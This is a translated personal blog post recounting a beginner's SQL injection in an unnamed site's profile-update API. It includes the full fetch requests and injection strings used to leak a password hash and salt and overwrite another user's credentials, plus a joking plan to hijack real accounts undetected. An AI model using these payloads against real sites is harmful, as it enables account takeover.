Мой первый взлом: сайт, позволяющий задавать любой пользовательский пароль

Примечание: автор переведённой статьи не специалист по информационной безопасности, и это его первый экскурс в мир SQL-инъекций. Он просит быть «снисходительными к его наивности».

Предупреждение: автор переведённой статьи не станет раскрывать сайт с этой уязвимостью. Не потому, что он сообщил о ней владельцу и связан узами молчания, а потому что хочет приберечь уязвимость для себя. Если вы вычислите этот сайт, пожалуйста, держите рот на замке (цыц).

Знаете, вот так иногда открываешь какой-нибудь сайт в инструментарии для разработчика, исследуешь без какой-либо цели минифицированный код и сетевые запросы. И вдруг замечаешь, что-то здесь не так. Совсем не так. Вот и я занимался подобным со страницей пользовательского профиля на одном из сайтов и подметил, что, когда включаешь и выключаешь уведомления о получении, страница шлёт сетевой запрос:

/api/users?email=no

И я подумал: интересно, не допустили ли они какую-нибудь глупость? Может быть, мне попробовать SQL-инъекцию?

Я поискал в сети по запросу “xkcd little bobby tables”, чтобы освежить в памяти, как делать SQL-инъекции — мне они не нравятся, — и принялся за работу.

В сетевой вкладке Chrome я скопировал запрос (Copy > Copy as fetch) и вставил результат во фрагмент, чтобы можно было воспроизвести запрос:

fetch('https://blah.com/api/users', {
  credentials: 'include',
  headers: {
    authorization: 'Bearer blah',
    'content-type': 'application/x-www-form-urlencoded',
    'sec-fetch-mode': 'cors',
    'x-csrf-token': 'blah',
  },
  referrer: 'https://blah.com/blah',
  referrerPolicy: 'no-referrer-when-downgrade',
  body: 'email=no', // < -- The bit we're interested in
  method: 'POST',
  mode: 'cors',
});

Вся остальная статья посвящена возне со строкой body — она является транспортом для отправки инструкций серверу.

Сначала я попытался изменить свою фамилию, задав значение в колонке lastName, ориентируясь просто на её название:

{
  // ...
  body: `email=no', lastName='testing`
}

Ничего интересного не произошло. Затем я проделал то же самое с last_name, потом попытал счастья с surname — и опа! — страница заменила мою фамилию на “testing”. Это было очень захватывающе. Я всегда считал SQL-инъекции чем-то вроде книжной легенды. Тем, что на самом деле не открывает миру код, который вставляет вводимые пользователем данные прямо в SQL-выражения.

Немного филососфии

Для всех непосвящённых объясню, что означает обнаруженный мной результат.

Я считаю, что на сервере происходит нечто подобное:

const userId = someSessionStore.userId;
const email = request.body.email;

const sql = `UPDATE users SET email = '${email}' WHERE id = '${userId}'`;

Уверен, что их сервер написан на PHP, но я не владею этим языком, так что буду писать примеры на JavaScript. Кроме того, я не особо-то разбираюсь в SQL-запросах. Понятия не имею, называется ли таблица user, или users, или user_table, да это и не важно.

Если мой пользовательский ID 1234, и я отправляю email=no, тогда SQL получается таким:

UPDATE users SET email = 'no' WHERE id = '1234'

А если заменить no на строку no', surname = 'testing, тогда SQL будет валидным, но хитрым:

UPDATE users SET email = 'no', surname = 'testing' WHERE id = '1234'

Как вы помните, я отправляю запросы из фрагмента кода в инструментах для разработчика, при этом нахожусь на странице профиля. Так что с этого момента можно считать поле surname на этой странице (HTML-элемент <inрut>) маленьким stdout, в который можно записывать информацию, задавая для моего пользовательского аккаунта значение в колонке surname в базе данных.

Затем мне стало интересно, удастся ли скопировать данные из другой колонки в колонку surname?

Я не понимал, что делать, как быть с SQL, да к тому же не знал, какая БД используется на сервере. Так что после каждого шага я тратил минут по 20 на поиски в сети, а потом ещё 20 минут чесал в затылке, потому что регулярно вставлял свои кавычки ' не туда, куда нужно. Странно, что я не порушил всю базу данных. Копировать данные из одной колонки в другую оказалось чуть сложнее, потому что я хотел отправить такой запрос (предполагалось, что должна быть колонка password):

UPDATE users SET email = 'no', surname = password WHERE id = '1234'

Обратите внимание, что в коде вокруг password нет кавычек. Как вы помните, суперсовременный конструктор запросов должен выглядеть так…

const sql = `UPDATE users SET email = '${email}' WHERE id = '${userId}'`;

… то есть при попытке передать no', surname = password

получившаяся строка не будет валидным SQL-запросом. Вместо этого мне нужно было, чтобы инъектируемая строка целиком стала второй частью запроса, а всё, что идёт после неё, игнорировалось бы. В частности, мне нужно было передать WHERE и; в конце SQL-выражения, а также комментарий #, чтобы информация справа от него игнорировалась. Да, я ужасно объясняю.

Короче, я отправил новую строку:

{
  // ...
  body: `email=no', surname = password WHERE username = 'me@email.com'; #`
}

А в базу данных будет отправлена такая строка:

UPDATE users SET email = 'no', surname = password WHERE username = 'me@email.com'; 
# WHERE id = '1234'

Обратите внимание, что БД проигнорирует

WHERE id = '1234', поскольку эта часть идёт после комментария # (кажется, запрет на комментирование в SQL-запросах является хорошим способом защиты от неряшливого кода).

Я надеялся, что мой пароль P@ssword1 появится в текстовом виде в поле фамилии, но вместо этого я получил 00fcdde26dd77af7858a52e3913e6f3330a32b31.

Меня это разочаровало, хотя и не удивило, и я продолжил попытки скопировать хэш моего пароля в колонку пароля другого пользователя.

Поясню для новичков: когда где-то создаёшь аккаунт и отправляешь новый пароль P@ssword1, он превращается в хэш наподобие 00fcdde26dd77af7858a52e3913e6f3330a32b31 и сохраняется в базе данных. Глядя на этот хэш, никто не сможет определить ваш пароль (или так рассказывают).

Когда в следующий раз вы будете логиниться и вводить пароль Password@1, сервер его снова хэширует и сравнит с хэшем, который хранится в базе данных. Так он подтвердит соответствие, даже не сохраняя ваш пароль.

Это означает, что если я хочу задать кому-нибудь пароль P@ssword1, я должен задать в колонке password у этого пользователя значение 00fcdde26dd77af7858a52e3913e6f3330a32b31.

Легкотня. Я открыл другой браузер, создал нового пользователя с другой почтой и в первую очередь проверил, могу ли задать ему данные. Обновил ему свойство body:

{
  // ...
  body: `email=no', surname = 'WOOT!!' WHERE username = 'user-two@email.com'; #`
}

Выполнил код, обновил страницу этого пользователя, и, офигеть, сработало! Теперь у него была фамилия “WOOT!!” (девичья фамилия моей бабушки).

Затем я попробовал задать этому пользователю пароль:

  // ...
  body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b31' WHERE username = 'user-two@email.com'; #`
}

И знаете, что?!?!?

Не сработало. Теперь у меня не было доступа ко второму аккаунту.

Оказалось, я допустил две ошибки, на вычисление которых ушло несколько часов. Специалисты по инфобезопасности, читающие эту статью, уже поняли, о чём речь, и, вероятно, ржут над дураком, который пишет свои «эксплойты», перечисленные на первой странице «Хакинг для самых маленьких».

Нуууууу, в конце концов я поискал в сети по запросу “password hash” и заметил, что многие хэши длиннее моего 00fcdde26dd77af7858a52e3913e6f3330a32b31. Похоже, он где-то обрезается.

Я попытался вписать кусок текста в поле surname, и обнаружил лимит в 40 символов (хорошо, что они задали атрибут maxlength для <inрut>, чтобы соответствовало ограничению в базе данных).

Теперь меня интересовали только первые 40 символов хэша, который мог быть гораздо длиннее. Поискал по запросу “sql substring”, и вскоре отправил на сервер такой запрос:

 
{
  // ...
  body: `email=no', surname = SUBSTRING(password, 30, 1000) WHERE username = 'me@email.com'; #`
}

Начал с 30, чтобы убедиться, что первые 10 символов перекрываются последними 10 символами 00fcdde26dd77af7858a52e3913e6f3330a32b31. Или последними 9. Или 11.

Лирическое отступление

Вернёмся к реалиям: символы перекрывались, и объединив строки, я получил хэш из 64 символов. Снова попробовал скопировать его во второго пользователя:

 {
  // ...
  body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453' WHERE username = 'user-two@email.com'; #`
}

И знаете, что?!?!

Ну, вы уже догадались, ведь я упомянул про две ошибки.

Я по-прежнему не мог залогиниться во второй аккаунт, но уже был близок к этому (хорошо бы мне знать об этом в тот момент).

Поискал по запросу “best practices database password” и узнал/вспомнил о такой штуке, как «соль».

Применение соли означает, что если ты создаёшь хэш для P@ssword1 для одного пользователя, то для другого пользователя тот же пароль даст другой хэш (используется другая соль). Конечно же, один хэш пароля не будет работать для двух пользователей, соли-то разные.

Вроде бы умно, но в то же время глупо. Во всех примерах в таблице просто была ещё одна колонка под названием salt. Разве это не означает, что мне нужно скопировать данные из двух колонок, а не одной? Разве это не выглядит как второй замок, к которому подходит тот же ключ?

Я изменил запрос в надежде скопировать значение из колонки, которая может называться salt, в колонку surname:

 {
  // ...
  body: `email=no', surname = salt WHERE username = 'myemail@email.com'; #`
}

В поле фамилии оказался беспорядочный набор символов, хороший знак. Для получения того, что оказалось 64-символьной солью, я снова использовал SUBSTRING.

Всё было готово. У меня есть хэш пароля и соль, которая использовалась для его создания, нужно только скопировать их в другого пользователя. И я отправил свой последний в тот вечер сетевой запрос:

fetch('https://blah.com/api/users', {
  credentials: 'include',
  headers: {
    authorization: 'Bearer blah',
    'content-type': 'application/x-www-form-urlencoded',
    'sec-fetch-mode': 'cors',
    'x-csrf-token': 'blah',
  },
  referrer: 'https://blah.com/blah',
  referrerPolicy: 'no-referrer-when-downgrade',
  body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453', salt = '8b7df143d91c716ecfa5fc1730022f6b421b05cedee8fd52b1fc65a96030ad52' WHERE username = 'user-two@gmail.com'; #`,
  method: 'POST',
  mode: 'cors',
});

Сработало! Теперь я мог залогиниться во второй аккаунт с паролем от первого аккаунта.

Разве это не безумие?

* * *

Было много проб и ошибок, но когда я выберу настоящего пользователя, я сначала получу его соль и хэш и сохраню у себя. Затем заменю его подсоленный хэш на свой, как описано в статье, залогинюсь и моментально заменю соль и хэш на оригинальные значения. Мне нужно лишь на долю секунды изменить чужой пароль, пока я логинюсь, так что меня почти наверняка не обнаружат.

В теории, конечно. Я бы никогда так не сделал.

* * *

Возможно, вам интересно узнать, не выдуманная ли это история. Не выдуманная. Я изменил несколько мелких подробностей, чтобы защититься от обвинений, но всё остальное было так, как описано. И, конечно же, на самом деле я сообщил об уязвимости владельцам сайта.

Но я не могу не спрашивать себя, было ли это всего лишь удачей новичка. Это в буквальном смысле первый сайт, на котором я попробовал SQL-инъекцию, и всё было словно приготовлено для меня, словно я сдавал экзамен по хакингу для малышей.

Описанный мной сайт невелик, у него мало пользователей (34 718). Это платный сервис, так что для матёрых хакеров он не представляет интереса. И всё же меня поразило, что такое возможно.

Короче, теперь я подсел на всю эту тему с информационной безопасностью. Для меня в ней объединились два любимых занятия: написание кода и хулиганство. Так что погуглив “information security salaries Australia”, думаю, я нашёл себе новую работу.

Спасибо, что прочитали!

Перевод: https://habr.com/ru/users/barsoo4ok/

Оригинал: https://medium.com/@david.gilbertson/my-first-exploit-a-site-that-allows-setting-any-users-password-a07b1142af2c

by @Cyberlifes